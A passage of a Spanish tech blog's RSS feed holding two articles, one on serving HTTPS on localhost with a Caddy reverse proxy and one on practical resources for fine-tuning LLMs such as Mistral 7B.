gPRC&lt;/a&gt;&#xA;, REST u otras), básicamente cualquier fuente que pueda retornar información.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>La Manera Más Fácil De Usar Https en Localhost (mi opinión)</title>
      <link>https://coffeebytes.dev/es/linux/la-manera-mas-facil-de-usar-https-en-localhost-mi-opinion/</link>
      <pubDate>Wed, 26 Feb 2025 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/linux/la-manera-mas-facil-de-usar-https-en-localhost-mi-opinion/</guid>
      
      <category>linux</category>
      
      <category>go</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;¿Cómo usar Localhost con https en lugar de http sin necesidad de lidiar con el comando netstat, ni emitir certificados SSL de manera manual?&lt;/p&gt;&#xA;&lt;h2 id=&#34;por-que-usar-https-en-localhost-lugar-de-http&#34;&gt;¿Por qué usar https en localhost lugar de http?&lt;/h2&gt;&#xA;&lt;p&gt;Es bastante común realizar integraciones donde probamos Oauth o algún tipo de integración con alguna aplicación de terceros, y muchas son bastante restrictivas al respecto, por lo que no aceptan integraciones o enviar callbacks a direcciones que no usen https.&lt;/p&gt;&#xA;&lt;p&gt;Por ejemplo en la creación de apps en las plataformas de desarrollador de X (antes Twitter) o Facebook. &lt;del&gt;Te odiamos zucaritas.&lt;/del&gt;&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1739482326/facebook-developer-app-https-callback_hmhesu.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1739482326/facebook-developer-app-https-callback_hmhesu.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Facebook developer portal callback needs https&#34; width=&#34;722&#34; height=&#34;557&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Facebook developer portal callback needs https&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Existen múltiples soluciones para usar https en localhost, una de ellas es firmar nuestros propios certificados de manera manual, pero vamos a hacer esto de la manera rápida y fácil.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;servidor-con-https-en-localhost-usando-caddy&#34;&gt;Servidor con https en localhost usando Caddy&lt;/h2&gt;&#xA;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/caddyserver/caddy&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Caddy&lt;/a&gt;&#xA; es un servidor escrito en el &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-lenguaje-de-programacion-introduccion-a-variables-y-tipos-de-datos/&#34;&gt;lenguaje de programación Go&lt;/a&gt;&#xA;, conocido por ser muy sencillo de configurar (pan comido en comparación con &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/linux/nginx-keepalive-gzip-http2-mejor-rendimiento-en-tu-sitio-web/&#34;&gt;una configuración de Nginx&lt;/a&gt;&#xA;), y que además incluye &lt;em&gt;https&lt;/em&gt; por defecto.&lt;/p&gt;&#xA;&lt;p&gt;Es tan sencillo de configurar que solo requiere un simple archivo llamado Caddyfile, sin extensión. Puedes pensar en el archivo anterior como el equivalente de un &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/docker/como-escribir-un-archivo-de-dockerfile-desde-cero/&#34;&gt;Dockerfile en Docker.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Instálalo de acuerdo a las instrucciones de tu SO y crea el &lt;em&gt;Caddyfile&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;your-sub-domain.localhost &lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    reverse_proxy http://localhost:5000&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;El subdominio es solo para poder aislarla del resto de aplicaciones que sirven en localhost.&lt;/p&gt;&#xA;&lt;p&gt;La configuración anterior creará un reverse proxy o proxy inverso que redigirá el tráfico en &lt;em&gt;your-sub-domain.localhost&lt;/em&gt; hacia el puerto 5000 de localhost. Recuerda reemplazar el puerto por el que prefieras.&lt;/p&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;graph TD;&#xA;    your-sub-domain.localhost--&gt;http:localhost:5000;&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;p&gt;Finalmente solo basta correr &lt;em&gt;caddy run&lt;/em&gt;, o &lt;em&gt;caddy start&lt;/em&gt;, si quieres una ejecución en terminal o detached, respectivamente, en el directorio donde se localiza el &lt;em&gt;Caddyfile&lt;/em&gt; y caddy creará un &lt;em&gt;proxy inverso&lt;/em&gt; hacia tu localhost en el puerto que especificaste. Y voilá, estaremos usando https en localhost.&lt;/p&gt;&#xA;&lt;h3 id=&#34;solucion-al-error-caddy-listen-tcp-port_number-bind-permission-denied&#34;&gt;Solución al error: Caddy &amp;ldquo;listen tcp :&amp;lt;port_number&amp;gt;: bind: permission denied&amp;rdquo;&lt;/h3&gt;&#xA;&lt;p&gt;Si al intentar correr caddy obtienes un error de permiso denegado, se debe a que Linux impide que procesos no-root escuchen los puertos principales como el 443 o el 80.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Para permitir que &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/linux/entiende-los-permisos-en-gnu-linux-y-el-comando-chmod/&#34;&gt;linux asigne el permiso&lt;/a&gt;&#xA; de escuchar en esos puertos a caddy, corre el siguiente comando.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo setcap &lt;span style=&#34;color:#ff5c57&#34;&gt;CAP_NET_BIND_SERVICE&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;+eip &lt;span style=&#34;color:#ff6ac1&#34;&gt;$(&lt;/span&gt;which caddy&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;solucion-2-al-error-caddy-listen-tcp-port_number-bind-permission-denied&#34;&gt;Solución 2 al error: Caddy “listen tcp :&amp;lt;port_number&amp;gt;: bind: permission denied”.&lt;/h3&gt;&#xA;&lt;p&gt;Otra posibilidad es que caddy ya se esté ejecutando, sobre todo si al instalarlo empezó a correr como un servicio, ante lo cual basta con detenerlo y volverlo a ejecutar.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;caddy stop&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;caddy start&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Tras esto deberías poder acceder a your-sub-domain.localhost o a your-sub-domain.localhost:443 a través de &lt;em&gt;https&lt;/em&gt; en tu navegador, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/linux/comandos-basicos-de-linux-printenv-export-lsof-top-ps-kill-curl-systemctl-chown-chroot/&#34;&gt;el comando curl&lt;/a&gt;&#xA; o la herramienta que prefieras usar.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;¿Cómo usar Localhost con https en lugar de http sin necesidad de lidiar con el comando netstat, ni emitir certificados SSL de manera manual?&lt;/p&gt;&#xA;&lt;h2 id=&#34;por-que-usar-https-en-localhost-lugar-de-http&#34;&gt;¿Por qué usar https en localhost lugar de http?&lt;/h2&gt;&#xA;&lt;p&gt;Es bastante común realizar integraciones donde probamos Oauth o algún tipo de integración con alguna aplicación de terceros, y muchas son bastante restrictivas al respecto, por lo que no aceptan integraciones o enviar callbacks a direcciones que no usen https.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Fine-Tuning De Un LLM Guía Práctica Con Recursos</title>
      <link>https://coffeebytes.dev/es/artificial-intelligence/fine-tuning-de-un-llm-guia-practica-con-recursos/</link>
      <pubDate>Mon, 17 Feb 2025 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/artificial-intelligence/fine-tuning-de-un-llm-guia-practica-con-recursos/</guid>
      
      <category>artificial intelligence</category>
      
      <category>opinion</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Intenté hacer fine-tuning de un modelo de DeepSeek pero fracasé, luego intenté hacerlo con Llama y tampoco pude conseguirlo, al final logré hacerlo con un modelo de Mistral, específicamente el de 7B de parámetros.&lt;/p&gt;&#xA;&lt;p&gt;Te comparto algunos recursos que encontré útiles durate el proceso. A pesar de estar jugando a entrenar LLMs, aún sigo creyendo que &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/opinion/el-auge-y-la-caida-de-la-burbuja-de-ai/&#34;&gt;estamos en una burbuja de AI.&lt;/a&gt;&#xA; El &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/el-nuevo-dios-el-delirante-culto-a-la-ai-en-redes/&#34;&gt;delirante culto a la IA en redes sociales&lt;/a&gt;&#xA; es otro ejemplo de la sobrevaloración de la IA.&lt;/p&gt;&#xA;&lt;h2 id=&#34;donde-aprender-los-fundamentos-de-ai-y-redes-neuronales&#34;&gt;¿Dónde aprender los fundamentos de AI y redes neuronales?&lt;/h2&gt;&#xA;&lt;p&gt;Si no tienes ni idea de Inteligencia Artificial o lo que es una red neuronal, los videos más completos y didácticos los tiene el canal de 3blue1brown.&lt;/p&gt;&#xA;&lt;p&gt;Sin embargo es importante aclarar que estos videos no parten de cero, es necesario que tengas bases mínimas de algebra lineal, regresión lineal y cálculo diferencial e integral. Sé que puede ser un poco desmotivador para los que vienen de backgrounds no técnicos pero no es tan difícil como parece.&lt;/p&gt;&#xA;&lt;div style=&#34;position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;&#34;&gt;&#xA;      &lt;iframe allow=&#34;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen&#34; loading=&#34;eager&#34; referrerpolicy=&#34;strict-origin-when-cross-origin&#34; src=&#34;https://www.youtube.com/embed/jKCQsndqEGQ?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0&#34; style=&#34;position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;&#34; title=&#34;YouTube video&#34;&gt;&lt;/iframe&gt;&#xA;    &lt;/div&gt;&#xA;&#xA;&lt;p&gt;Probablemente ya conozcas a DotCSV, sí es el pelón divulgador de la AI que todos queremos, pero lo que quizás no sepas es que DotCSV tiene una introducción sobre las matemáticas detrás de las redes neuronales, y sus videos son simplemente excelentes, y lo mejor es que están en español.&lt;/p&gt;&#xA;&lt;div style=&#34;position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;&#34;&gt;&#xA;      &lt;iframe allow=&#34;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen&#34; loading=&#34;eager&#34; referrerpolicy=&#34;strict-origin-when-cross-origin&#34; src=&#34;https://www.youtube.com/embed/MRIv2IwFTPg?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0&#34; style=&#34;position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;&#34; title=&#34;YouTube video&#34;&gt;&lt;/iframe&gt;&#xA;    &lt;/div&gt;&#xA;&#xA;&lt;p&gt;Platzi también tiene un excelente video donde explican las bases matemáticas de las redes neuronales en español, el video es algo largo, pero creeme que vale muchísimo la pena.&lt;/p&gt;&#xA;&lt;div style=&#34;position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;&#34;&gt;&#xA;      &lt;iframe allow=&#34;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen&#34; loading=&#34;eager&#34; referrerpolicy=&#34;strict-origin-when-cross-origin&#34; src=&#34;https://www.youtube.com/embed/v6tk0CxaVU8?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0&#34; style=&#34;position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;&#34; title=&#34;YouTube video&#34;&gt;&lt;/iframe&gt;&#xA;    &lt;/div&gt;&#xA;&#xA;&lt;p&gt;Pero si ya tienes nociones de redes neuronales, entonces empecemos por el fine-tuning o ajuste fino.&lt;/p&gt;&#xA;&lt;h2 id=&#34;que-es-el-fine-tuning&#34;&gt;¿Qué es el fine-tuning?&lt;/h2&gt;&#xA;&lt;p&gt;El fine-tuning es el procedimiento de seleccionar un modelo ya entrenado y continuar su formación en un conjunto de datos particulares del campo. Como por ejemplo un LLM que ha sido entrenado usando todos los artículos científicos sobre diabetes, lo cual podrías hacer a través del &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/artificial-intelligence/te-explico-el-model-context-protocol-mcp-y-para-que-sirve/&#34;&gt;Model Context Protocol&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Porque, ¿para qué realizar prompt engineering cuando se puede hacer fine-tuning de un modelo y obtener los mismos resultados?&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://i.imgflip.com/9kjbo2.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://i.imgflip.com/9kjbo2.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Drake hotline bling meme up: prompt engineering down: fine-tuning&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Sólo estoy bromeando, siempre prueba primero con prompt engineering&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;La mayor parte de los modelos LLM actuales exhiben un rendimiento global bastante positivo, pero no logran solucionar problemas particulares enfocados en tareas específicas, sobre todo en areas muy específicas de conocimiento.&lt;/p&gt;&#xA;&lt;p&gt;El procedimiento de fine-tuning brinda beneficios significativos, tales como la disminución de los costos de cálculo y la oportunidad de utilizar modelos avanzados sin la necesidad de edificar uno desde el inicio.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/artificial-intelligence/devin-ai-el-supuesto-reemplazo-de-los-programadores/&#34;&gt;Puede que la AI no sustituya a los programadores&lt;/a&gt;&#xA;, pero el fine-tuning puede convertir un LLM en la herramienta de predicción definitiva en un área de conocimiento.&lt;/p&gt;&#xA;&lt;h3 id=&#34;pasos-para-realizar-fine-tuning-de-un-llm&#34;&gt;Pasos para realizar fine-tuning de un LLM&lt;/h3&gt;&#xA;&lt;p&gt;Los pasos pueden variar de acuerdo al modelo pero generalmente son algo similares a esto&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Cargar un dataset: Obtener tu dataset, ya sea existente u original.&lt;/li&gt;&#xA;&lt;li&gt;Preprocesamiento de datos: Tokenizar tu dataset usando tokenizador del modelo y dividirlo en conjuntos de entrenamiento, validación y prueba.&lt;/li&gt;&#xA;&lt;li&gt;Selección del modelo: Elija un LLM preentrenado.&lt;/li&gt;&#xA;&lt;li&gt;Configuración de parámetros: Configure los hiperparámetros.&lt;/li&gt;&#xA;&lt;li&gt;Entrenamiento o Fine-Tuning: Entrene el modelo en el conjunto de datos personalizado.&lt;/li&gt;&#xA;&lt;li&gt;Evaluación: Ponlo a prueba con el conjunto de pruebas.&lt;/li&gt;&#xA;&lt;li&gt;Inferencia: Despliegue el modelo ajustado para la inferencia en nuevos datos, asegurándose de que se generaliza bien a entradas no vistas.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Te dejo algunos recursos relacionados con el fine-tuning a continuación.&lt;/p&gt;&#xA;&lt;p&gt;Me encantó este recurso para entender los &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.datacamp.com/tutorial/fine-tuning-large-language-models&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;pasos generales para hacer fine-tuning de un LLM&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;Esta es la &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.kaggle.com/code/eduardomzepeda/fine-tuning-mistral-7b-with-linkedin-job-posting&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;notebook que yo utilice para realizar fine-tuning&lt;/a&gt;&#xA; está en Kaggle y puedes consultarla.&lt;/p&gt;&#xA;&lt;p&gt;Pero empecemos por lo primero, los datos.&lt;/p&gt;&#xA;&lt;h2 id=&#34;donde-conseguir-datasets-para-hacer-fine-tuning&#34;&gt;¿Dónde conseguir datasets para hacer fine-tuning?&lt;/h2&gt;&#xA;&lt;p&gt;De la misma manera que se necesitan datos para entrenar un modelo de IA, el fine-tuning requiere que se le proporcionen los mejores datos que se puedan encontrar, y la mejor fuente son tus propios datos originales.&lt;/p&gt;&#xA;&lt;p&gt;Yo usé datasets de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://huggingface.co/datasets/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;HuggingFace&lt;/a&gt;&#xA;, sin embargo es importante considerar que &lt;strong&gt;los modelos pre-entrenados que están disponibles de manera gratuita seguramente fueron entrenados usando esos mismos datos&lt;/strong&gt;, por lo que, si decides usarlos, no esperes tener una mejora substancial respecto al rendimiento normal del modelo, lo mejor sería usar datos propios o contenido original.&lt;/p&gt;&#xA;&lt;h3 id=&#34;fuentes-de-datos-para-fine-tuning&#34;&gt;Fuentes de datos para fine-tuning&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/awesomedata/awesome-public-datasets&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Awesome public datasets&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://kaggle.com&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Kaggle&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://opendatainception.io/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;opendatainception&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Asegúrate de que tu dataset esté en un formato adecuado, yo tuve que preprocesar, uno usando Python, en el que cada linea era un archivo por separado, lo que volvía la importación increíblemente lenta.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/o49qurb343h802weo8cv.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/o49qurb343h802weo8cv.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;HuggingFace dataset screenshot&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Ok, ya tenemos los datos, ¿qué LLM usamos?&lt;/p&gt;&#xA;&lt;h2 id=&#34;que-modelos-son-mejores-para-hacer-fine-tuning&#34;&gt;¿Qué modelos son mejores para hacer fine-tuning?&lt;/h2&gt;&#xA;&lt;p&gt;Para realizar el entrenamiento, debes partir de un modelo preexistente. Mientras más parámetros tenga mejores resultados obtendrás, pero peor será el rendimiento.&lt;/p&gt;&#xA;&lt;p&gt;Generalmente encontrarás buenos candidatos para fine-tuning en HuggingFace, sobre todo entre los modelos más grandes (con mayor número de parámetros), entre los más populares que pude encontrar están Llama, DeepSeek, Mistral, Falcon, entre otros.&lt;/p&gt;&#xA;&lt;p&gt;Yo probé los sisguientes modelos porque eran muy ligeros y no requerían tanto poder de computo (trabajo con recursos límitados, déjenme en paz), pero tú puedes usar sus versiones con más parámetros:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://huggingface.co/meta-llama/Llama-3.1-8B&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Llama-3.1B&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://huggingface.co/deepseek-ai/DeepSeek-R1-Distill-Qwen-1.5B&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;DeepSeek-R1-Distill-Qwen-1.5B&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://huggingface.co/mistralai/Mistral-7B-v0.3&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Mistral-7B-v0.x&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Obtuve mejores resultados con los de Mistral, probablemente porque los de DeepSeek fueron entrenados con material de origen chino.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/xuywp28gqcln00ydopo2.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/xuywp28gqcln00ydopo2.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Is this Searle&amp;#39;s Chinese room meme&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;De hecho pude entrenarlo y montarlo pero el modelo me retornaba caracteres chinos (igualito &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/artificial-intelligence/chat-gpt-la-habitacion-china-de-searle-y-la-consciencia/&#34;&gt;a la habitación de Searle&lt;/a&gt;&#xA;), de vez en cuando como parte de la respuesta, aunque eso sí, era increíblemente rápido.&lt;/p&gt;&#xA;&lt;p&gt;Ya elegimos modelo y tenemos los datos, ¿dónde entrenamos nuestro LLM? Mientras más barato mejor.&lt;/p&gt;&#xA;&lt;h2 id=&#34;donde-hacer-fine-tuning-de-un-llm-de-manera-gratuita&#34;&gt;¿Dónde hacer fine-tuning de un LLM de manera gratuita?&lt;/h2&gt;&#xA;&lt;p&gt;Lo mejor sería usar tus propias GPUs, pero en caso de que te sea imposible, Google, a través de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://colab.research.google.com/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Google Colab&lt;/a&gt;&#xA; tiene GPUs disponibles de manera gratuita por una cantidad limitada de horas al día, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.kaggle.com/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Kaggle&lt;/a&gt;&#xA; también &lt;strong&gt;te ofrece 30 horas de uso de GPU a la semana&lt;/strong&gt; para que lleves a cabo tus experimentos. &lt;del&gt;Y crees tus imágenes furras usando los modelos prohibidos.&lt;/del&gt;&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/4o5rmh1dv8il7pdml2gr.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/4o5rmh1dv8il7pdml2gr.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Kaggle free GPUs&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;En mi búsqueda también encontré una empresa llamada &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://salad.com/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;salad&lt;/a&gt;&#xA;, que sirve como intermediario entre usuarios y gamers que quieren alquilar sus GPUs, los precios son increíblemente competitivos. &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://vast.ai/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;VastAI&lt;/a&gt;&#xA; también es otra opción. &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; 